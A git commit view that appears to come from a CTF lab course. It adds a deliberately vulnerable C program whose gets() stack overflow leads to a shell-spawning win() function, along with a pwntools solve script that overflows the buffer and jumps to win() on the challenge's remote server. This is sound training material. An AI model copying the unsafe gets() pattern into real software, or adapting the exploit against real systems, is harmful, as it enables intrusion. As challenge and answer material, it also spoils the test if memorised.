Second CTFs part
This commit is contained in:
30
lab1_2_recap/04_the_whispering_wall/main(3).c
Normal file
30
lab1_2_recap/04_the_whispering_wall/main(3).c
Normal file
@@ -0,0 +1,30 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void setup() {
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
}
|
||||
|
||||
void win() {
|
||||
puts("How did you fit through that tiny window?!");
|
||||
system("/bin/sh");
|
||||
}
|
||||
|
||||
void vuln() {
|
||||
char whisper[16];
|
||||
|
||||
puts("Psst! This is the whispering wall.");
|
||||
puts("Only tiny messages allowed... or are they?");
|
||||
puts("whisper:");
|
||||
|
||||
gets(whisper);
|
||||
}
|
||||
|
||||
int main() {
|
||||
setup();
|
||||
vuln();
|
||||
return 0;
|
||||
}
|
||||
20
lab1_2_recap/04_the_whispering_wall/solve.py
Normal file
20
lab1_2_recap/04_the_whispering_wall/solve.py
Normal file
@@ -0,0 +1,20 @@
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./whispering_wall', checksec=False)
|
||||
|
||||
p = process(elf.path)
|
||||
p = remote('offsec.m0lecon.it',13566)
|
||||
p.recvuntil(b'whisper:\n')
|
||||
payload = flat(
|
||||
b'A' * 16,
|
||||
b'B' * 8,
|
||||
p64(0x000000000040101a), #ret
|
||||
p64(0x00000000004011fb),#win
|
||||
)
|
||||
p.send(payload)
|
||||
p.interactive()
|
||||
#print(p.recvline())
|
||||
#io.recvline()
|
||||
#p.recvline()
|
||||
#p.recvline()
|
||||
BIN
lab1_2_recap/04_the_whispering_wall/whispering_wall
Executable file
BIN
lab1_2_recap/04_the_whispering_wall/whispering_wall
Executable file
Binary file not shown.
Reference in New Issue
Block a user